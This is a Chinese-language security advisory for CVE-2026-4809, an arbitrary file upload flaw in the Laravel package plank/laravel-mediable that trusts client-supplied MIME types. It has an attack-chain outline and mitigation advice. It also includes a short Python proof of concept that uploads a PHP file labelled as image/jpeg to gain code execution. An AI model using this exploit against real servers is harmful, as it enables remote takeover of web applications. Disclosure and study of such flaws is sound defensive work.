IPBUF安全漏洞报告
English
CVE-2026-4809 CVSS 9.8 严重

CVE-2026-4809 Laravel Mediable 任意文件上传漏洞

披露日期: 2026-03-26
来源: 309f9ea4-e3e9-4c6c-b79d-e8eb01244f2c

漏洞信息

漏洞编号
CVE-2026-4809
漏洞类型
任意文件上传
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
plank/laravel-mediable

相关标签

远程代码执行任意文件上传LaravelCVE-2026-4809Web安全

漏洞概述

plank/laravel-mediable 组件在 6.4.0 及之前的版本中存在严重的任意文件上传漏洞。该漏洞的根本原因在于应用程序在处理文件上传逻辑时,错误地优先接受或直接信任客户端提供的 MIME 类型,而未在服务端进行严格的类型校验。远程攻击者可以构造包含恶意 PHP 代码的文件,并声明其为无害的图片 MIME 类型进行上传攻击。一旦该文件被系统存储在 Web 服务器可访问且具备执行权限的目录下,攻击者即可实现远程代码执行。截至目前,官方尚未发布修复补丁。

技术细节

该漏洞位于 plank/laravel-mediable 包的文件上传处理机制中。当应用配置为允许或偏好客户端提供的 MIME 类型时,系统仅检查 HTTP 请求头中的 Content-Type 字段,而忽略了文件扩展名或文件内容的实际魔数验证。攻击者可以发送一个 HTTP POST 请求,其中包含 PHP Webshell 代码,但将 Content-Type 设置为 image/jpeg。服务器接收文件后,根据配置将其保存为 .php 文件(或可解析为 PHP 的文件),或者在 Web 服务器配置不当时,即使扩展名不是 .php 也可能被执行。这种对 MIME 类型的信任缺失,使得未授权的攻击者能够绕过安全检查,在目标服务器上写入任意内容,进而完全控制服务器。

攻击链分析

STEP 1
侦察阶段
攻击者识别目标网站使用了 plank/laravel-mediable 组件,且版本在 6.4.0 及以下。
STEP 2
漏洞利用
攻击者构造包含恶意 PHP 代码的文件,并在 HTTP 请求头中将 Content-Type 伪装成 image/jpeg,发送上传请求。
STEP 3
代码执行
服务器接收文件并存储在 Web 可访问目录。攻击者通过浏览器访问该文件 URL,触发服务器解析 PHP 代码,从而获得远程控制权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def exploit_upload(target_url): """ PoC for CVE-2026-4809 Uploads a PHP shell disguised as an image. """ # The malicious PHP payload php_payload = "<?php phpinfo(); ?>" # The endpoint vulnerable to the upload upload_url = f"{target_url}/upload" # Construct the multipart form data # The key vulnerability is trusting the 'image/jpeg' MIME type files = { 'file': ('shell.php', php_payload, 'image/jpeg') } # Optional data if the package requires specific fields data = { 'content_type': 'image/jpeg' } try: response = requests.post(upload_url, files=files, data=data) if response.status_code == 200: print("[+] File uploaded successfully.") print(f"[+] Check your shell at: {target_url}/uploads/shell.php") else: print(f"[-] Upload failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target = "http://vulnerable-site.com" exploit_upload(target)

影响范围

plank/laravel-mediable <= 6.4.0

防御指南

临时缓解措施
建议立即修改应用配置,不再依赖客户端提供的 MIME 类型。应在服务端通过检测文件扩展名和文件头(Magic Number)来严格限制允许上传的文件类型。此外,确保上传目录的权限配置正确,禁止 Web 服务器执行该目录下的脚本文件,并将上传文件存储在非 Web 可直接访问的路径下。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表